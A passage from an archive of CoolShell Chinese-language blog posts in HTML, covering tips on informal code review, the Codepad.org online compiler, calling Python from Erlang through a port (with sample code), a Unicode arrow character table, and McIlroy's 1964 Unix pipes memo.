Review不要太正式，而且要短</h4>\n<p>忘了那个代码评审的Checklist吧，走到你的同事座位跟前，像请师父一样请他坐到你的电脑面前，然后，花5分钟给他讲讲你的代码，给他另外一个5分钟让他给你的代码提提意见，这比什么都好。而如果你用了一个Checklist，让这个事情表现得很正式的话，下面两件事中必有一件事会发生：</p>\n<ol>\n<li>只有在Checklist上存在的东西才会被Review。</li>\n<li>Code Reviews 变成了一种礼节性的东西，你的同事会装做很关心你的代码，但其实他心里想着尽快地离开你。</li>\n</ol>\n<p>只有不正式的Code Review才会让你和评审者放轻松，人只有放松了，才会表现得很真实，很真诚。记住Review只不过是一种形式，而只有在相互信任中通过相互的讨论得到了有意义和有建设性的建议和意见，那才是最实在的。不然，作者和评审者的关系就会变成小偷和警察的关系。</p>\n<h4>3.- 尽可能的让不同的人Reivew你的代码</h4>\n<p>这是一个好主意，如果可能的话，不要总是只找一个人来Review你的代码，不同的人有不同的思考方式，有不同的见解，所以，不同的人可以全面的从各个方面评论你的代码，有的从实现的角度，有的从需求的角度，有的从用户使用的角度，有的从算法的角度，有的从性能效率的角度，有的从易读的角度，有的从扩展性的角度……，啊，好多啊，还让不让人活了。不管怎么说，多找一些不同的人会对你很有好处。当然，不要太多了，人多嘴杂反而适得其反，基本上来说，不要超过3个人，这是因为，这是一个可以围在一起讨论的最大人员尺寸。</p>\n<p>下面是几个优点：</p>\n<ol>\n<li>从不同的方向评审代码总是好的。</li>\n<li>会有更多的人帮你在日后维护你的代码。</li>\n<li>这也是一个增加团队凝聚力的方法。</li>\n</ol>\n<h4>4.- 保持积极的正面的态度</h4>\n<p>再说一次，程序最大的问题就是“自负”，尤其当我们Reivew别人的代码的时候，我已经见过无数的场面，程序员在Code Review的时候，开始抨击别人的代码，质疑别人的能力。太可笑了，我分析了一下，这类的程序员其实并没有什么本事，因为他们指责对方的目的是想告诉大家自己有多么的牛，靠这种手段来表现自己的程序员，其实是就是传说中所说的“半瓶水”。</p>\n<p>所以，无论是代码作者，还是评审者，都需要一种积极向上的正面的态度，作者需要能够虚心接受别人的建议，因为别人的建议是为了让你做得更好；评审者也需要以一种积极的正面的态度向作者提意见，因为那是和你在一个战壕里的战友。记住，你不是一段代码，你是一个人！</p>\n<h4>5.- 学会享受Code Reivew</h4>\n<p>这可能是最重要的一个提示了，如果你到了一个人人都喜欢Code Reivew的团阿，那么，你会进入到一个生机勃勃的地方，在那里，每个人都能写出质量非常好的代码，在那里，你不需要经理的管理，团队会自适应一切变化，他们相互学习，相互帮助，不仅仅是写出好的代码，而且团队和其中的每个人都会自动进化，最关键的是，这个是一个团队。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11432.html\"><img alt=\"从Code Review 谈如何做技术\" height=\"150\" src=\"../wp-content/uploads/2014/04/code_review-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1719.html\"><img alt=\"橡皮鸭程序调试法\" height=\"150\" src=\"../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1719.html\">橡皮鸭程序调试法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1218.html\"><img alt=\"简单实用的Code Review工具\" height=\"150\" src=\"../wp-content/uploads/2009/08/viewtopicdetail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1218.html\">简单实用的Code Review工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2926.html\"><img alt=\"你准备使用 HTML 5 吗？\" height=\"150\" src=\"../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1302.html\">Code Review中的几个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-23 在线代码编译服务Codepad.org.html",
    "content": "<html><body><p>Codepad.org是一个很有意思的网站，它的主页很简单，左边是可以编译并执行的程序语言，右边则是让你输入程序的输入框，输入框的下面是一个“Run Code”的复选钮和一个“Submit”的提交按钮。</p>\n<p>其操作起来也非常简单，先选中你要编译并运行的程序语言，然后在输入框中粘贴或输入程序的原代码，然后，点击提交，你就可以看么你程序编译出错的提示，或是执行的结果。</p>\n<p>也许，你会觉得很无聊天，但我觉得这在某些时候会非常有用，尤其是你找不到编译器而又想验证一段代码的时候，这种时候还是比较多的。特别是我们很难有一台可以运行所有语言的电脑，如果有的话，那一定是你自己的个人电脑，当你不使用你自己的电脑时，你就会着急了。而且，我觉得这项服务非常地有意思，因为，这样一来，你甚至可以在你的手机上写任何语言的程序了。</p>\n<p><span id=\"more-1310\"></span></p>\n<p>目前这个网站支持下面这样语言——C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。（没有Java）</p>\n<p>当我打开这个网页的时候，我立马想到了《<a href=\"https://coolshell.cn/articles/914.html\" title=\"作者：耗子  --  521 次点击\">6个变态的C语言Hello World程序</a>》，然后就取了其中一个上去试了一下，果然方便啊。的确是相当的省事啊，不需要打开编译器或IDE，不需要建工程，不需要存成文件，太方便了。</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/codepad2.jpg\"><img alt=\"codepad.org执行BT的hello world\" class=\"size-full wp-image-1311 aligncenter\" height=\"401\" src=\"../wp-content/uploads/2009/08/codepad2.jpg\" title=\"codepad.org执行BT的hello world\" width=\"604\"/></a></p>\n<p>。</p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1310.html\">在线代码编译服务Codepad.org</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-24 Erlang和Python互通.html",
    "content": "<html><body><p>最近开发 Erlang ,对其字符串处理能力无言至极,于是决定把它和python联合起来,打造一个强力的分布式系统,等将来需要系统级开发时,我再把 C++/C组合进来.</p>\n<p>首先参考了 Erlang 官方文档和 <a href=\"http://www.zend2.com/DoIt.php?u=Oi8vd3d3LmJsb2dnZXIuY29tL2Jsb2cuZGV2ZWxvcGVycy5hcGkuc2luYS5jb20uY24vP3RhZz1lcmxhbmc%3D&amp;b=5\">http://<cite>blog.developers.api.sina.com.cn/?tag=<strong>erlang</strong></cite></a> 以及<a href=\"http://www.zend2.com/DoIt.php?u=Oi8va2F6bWllci5uZXQvY29tcHV0ZXIvcG9ydC1ob3d0by8%3D&amp;b=5\"> http://kazmier.net/computer/port-howto/</a> .</p>\n<p>研读了将近24个小时, 才终于完全把问题解决.  起名为town，town在英文里表示集市，也就是代表各种语言在这里的交流与互动。) )<br/>\n<span id=\"more-1313\"></span><br/>\n[erl]-module(town).<br/>\n-behaviour(gen_server).</p>\n<p>%% API<br/>\n-export([start/0,combine/1]).</p>\n<p>%% gen_server callbacks<br/>\n-export([init/1, handle_call/3, handle_cast/2, handle_info/2,<br/>\nterminate/2, code_change/3]).<br/>\n-record(state, {port}).</p>\n<p>start() -&amp;gt;<br/>\n  gen_server:start_link({global, ?MODULE}, ?MODULE, [], []).<br/>\nstop() -&amp;gt;<br/>\n  gen_server:cast(?SERVER, stop).<br/>\ninit([]) -&amp;gt;<br/>\n  process_flag(trap_exit, true),<br/>\n  Port = open_port({spawn, \"python -u /home/freefis/Desktop/town.py\"},[stream,{line, 1024}]),<br/>\n  {ok, #state{port = Port}}.</p>\n<p>handle_call({combine,String}, _From, #state{port = Port} = State) -&amp;gt;<br/>\n  port_command(Port,String),<br/>\n  receive<br/>\n    {Port,{data,{_Flag,Data}}} -&amp;gt;<br/>\n      io:format(\"receiving:~p~n\",[Data]),<br/>\n      sleep(2000),<br/>\n      {reply, Data, Port}<br/>\n  end.<br/>\nhandle_cast(stop, State) -&amp;gt;<br/>\n  {stop, normal, State};<br/>\nhandle_cast(_Msg, State) -&amp;gt;<br/>\n  {noreply, State}.</p>\n<p>handle_info(Info, State) -&amp;gt;<br/>\n  {noreply,State}.</p>\n<p>terminate(_Reason, Port) -&amp;gt;<br/>\n  ok.</p>\n<p>code_change(_OldVsn, State, _Extra) -&amp;gt;<br/>\n  {ok, State}.</p>\n<p>%%——————————————————————–<br/>\n%%% Internal ———————————————————<br/>\ncombine(_String) -&amp;gt;<br/>\n  start(),<br/>\n  String = list_to_binary(\"combine|\"++_String++\"\\n\"),<br/>\n  gen_server:call(?SERVER,{combine,String},infinity),<br/>\n  stop().[/erl]<br/>\n这段是Python的脚本 当erlang中town:combine(“sentence1+sentence2”)执行时，会在后台启动python的脚本，处理完毕后返回给Erlang结果:sentence1sentence2，然后退出。 </p>\n<pre class=\"EnlighterJSRAW\">\nimport sys\ndef handle(_string):\n    if _string.startswith(\"combine|\"):\n        string = \"\".join( _string[8:].split(\",\"))\n        return string\n\n\"\"\"waiting for input \"\"\"\nwhile 1:\n    # Recv. Binary Stream as Standard IN\n    _stream = sys.stdin.readline()\n\nif not _stream: break\n    # Scheme, Turn into  Formal String\n    inString  = _stream.strip(\"\\r\\n\")\n    # handle String\n    outString = handle(inString)\n    # send to port as Standart OUT\n    sys.stdout.write(\"%s\\n\" % (outString,))\n    sys.exit(0)</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1313.html\">Erlang和Python互通</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-24 Unicode字符预览表.html",
    "content": "<html><body><p>关于Unicode的字符表，你可以在这里下载：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt\" target=\"_blank\">http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt</a></p>\n<p>而有热心人通过上面个表格，使用JavaScript制作了下面这个网页，其穷举并可以显示上述定义的所有的Unicode字符。</p>\n<p style=\"PADDING-LEFT: 30px; TEXT-ALIGN: left;\"><a href=\"http://www.ftrain.com/unicode/\" target=\"_blank\">http://www.ftrain.com/unicode/</a></p>\n<p style=\"TEXT-ALIGN: left;\">打开这个网页，左边的那个大表格是一个10×10的列表，每个小单元格上面是这个字符的样子，下面是这个字符的HTML输入格式。这个表格下面是一个预览格，因为有些这符太细腻了。</p>\n<p style=\"TEXT-ALIGN: left;\"><span id=\"more-1331\"></span></p>\n<p style=\"TEXT-ALIGN: left;\">当然，所有的字符不肯定不止100个，所以，网页右上角有三个进度条，一个是100个字符的往后移动，第二个是1000个字符，第三个是10000个。</p>\n<p style=\"TEXT-ALIGN: left;\">随便找了一下，找到下面这些各式各样的箭头，如下所示：</p>\n<table border=\"1\">\n<tbody>\n<tr>\n<td>← <span class=\"exp\">&amp;#8592;</span></td>\n<td>↑ <span class=\"exp\">&amp;#8593;</span></td>\n<td>→ <span class=\"exp\">&amp;#8594;</span></td>\n<td>↓ <span class=\"exp\">&amp;#8595;</span></td>\n<td><img alt=\"↔\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2194.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8596;</span></td>\n<td><img alt=\"↕\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2195.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8597;</span></td>\n<td><img alt=\"↖\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2196.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8598;</span></td>\n<td><img alt=\"↗\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2197.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8599;</span></td>\n</tr>\n<tr>\n<td><img alt=\"↘\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2198.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8600;</span></td>\n<td><img alt=\"↙\" class=\"wp-smiley\" src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2199.png\" style=\"height: 1em;\"/> <span class=\"exp\">&amp;#8601;</span></td>\n<td>↚ <span class=\"exp\">&amp;#8602;</span></td>\n<td>↛ <span class=\"exp\">&amp;#8603;</span></td>\n<td>↜ <span class=\"exp\">&amp;#8604;</span></td>\n<td>↝ <span class=\"exp\">&amp;#8605;</span></td>\n<td>↞ <span class=\"exp\">&amp;#8606;</span></td>\n<td>↟ <span class=\"exp\">&amp;#8607;</span></td>\n</tr>\n<tr>\n<td>⇞ <span class=\"exp\">&amp;#8670;</span></td>\n<td>⇟ <span class=\"exp\">&amp;#8671;</span></td>\n<td>⇠ <span class=\"exp\">&amp;#8672;</span></td>\n<td>⇡ <span class=\"exp\">&amp;#8673;</span></td>\n<td>⇢ <span class=\"exp\">&amp;#8674;</span></td>\n<td>⇣ <span class=\"exp\">&amp;#8675;</span></td>\n<td>⇤ <span class=\"exp\">&amp;#8676;</span></td>\n<td>⇥ <span class=\"exp\">&amp;#8677;</span></td>\n</tr>\n</tbody>\n</table>\n<p>还有很多更奇怪的字符，你可以上去看看。如果你访问不了了，你可以通过本站下载这个文件：《<a href=\"https://coolshell.cn/wp-content/uploads/2009/08/Unicode-table.htm\" target=\"_blank\">Unicode 字符集预览表</a>》</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21649.html\"><img alt=\"源代码特洛伊木马攻击\" height=\"150\" src=\"../wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21649.html\">源代码特洛伊木马攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1957.html\"><img alt=\"Web程序的最佳测试数据\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1957.html\">Web程序的最佳测试数据</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1830.html\"><img alt=\"正则表达式生成器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5132.html\"><img alt=\"疯狂的 Web 应用开源项目\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5132.html\">疯狂的 Web 应用开源项目</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7448.html\"><img alt=\"扎克伯格的一封信：关于Facebook IPO\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7448.html\">扎克伯格的一封信：关于Facebook IPO</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1331.html\">Unicode字符预览表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-8-24 Unix Pipes 管道原稿.html",
    "content": "<html><body><p><img alt=\"Douglas McIlroy\" class=\"alignright\" height=\"193\" src=\"../wp-content/uploads/2009/08/Douglas-McIlroy.jpg\" title=\"Douglas McIlroy\" width=\"147\"/></p>\n<p>40年前，Unix操作系统横空出世，Unix不仅仅带来了一个操作系统，还创造C语言，Socket，开源，黑客等等文化，这些文化影响着整个计算机世界的文明，直到今天。</p>\n<p>如果说Unix是计算机文明中最伟大的发明，那么，Unix下的Pipe管道就是跟随Unix所带来的另一个伟大的发明。管道的出现，解决的就是让不同功能的程序可以互相连通通讯，从而可以让软件开发，程序开发更加的“高内聚，低耦合”，从而可以让程序“Do one thing, Do it well”，从而可以让程序“Keep it Simple Stupid”等等，这一哲学引影了一代又一代的软件架构，直到今天的云计算。</p>\n<p>管道的发名者叫，<a href=\"http://en.wikipedia.org/wiki/Douglas_McIlroy\" target=\"_blank\"><strong>Malcolm Douglas McIlroy</strong></a>，他也是Unix的创建者，是Unix文化的缔造者之一。他归纳的Unix哲学如下：</p>\n<blockquote><p>程序应该只关注一个目标，并尽可能把它做好。让程序能够互相协同工作。应该让程序处理文本数据流，因为这是一个通用的接口。</p></blockquote>\n<p><span id=\"more-1351\"></span></p>\n<p>下面是管道在1964年10月11日，出现的第一个打印稿，下面是扫描件。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/pipe.png\"></a></p>\n<p><img alt=\"Unix Pipes\" height=\"790\" src=\"../wp-content/uploads/2009/08/pipe.png\" title=\"Unix Pipes\" width=\"612\"/></p>\n<p>全文如下：</p>\n<pre><code>                        - 10 -\n            Summary--what's most important.\n    To put my strongest concerns into a nutshell:\n1. We should have some ways of connecting programs like\ngarden hose--screw in another segment when it becomes when\nit becomes necessary to massage data in another way.\nThis is the way of IO also.\n2. Our loader should be able to do link-loading and\ncontrolled establishment.\n3. Our library filing scheme should allow for rather\ngeneral indexing, responsibility, generations, data path\nswitching.\n4. It should be possible to get private system components\n(all routines are system components) for buggering around with.\n\n                                                M. D. McIlroy\n                                                October 11, 1964\n</code></pre>\n<p>我就不翻译了，因为这段文字足够的简单，就像连接花园中浇花用的软管一样，相信你不但能够读懂它，还能从中收益。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9410.html\"><img alt=\"Unix考古记：一个“遗失”的shell\" height=\"150\" src=\"../wp-content/uploads/2013/04/figure1-150x150.gif\" width=\"150\"/></a><a 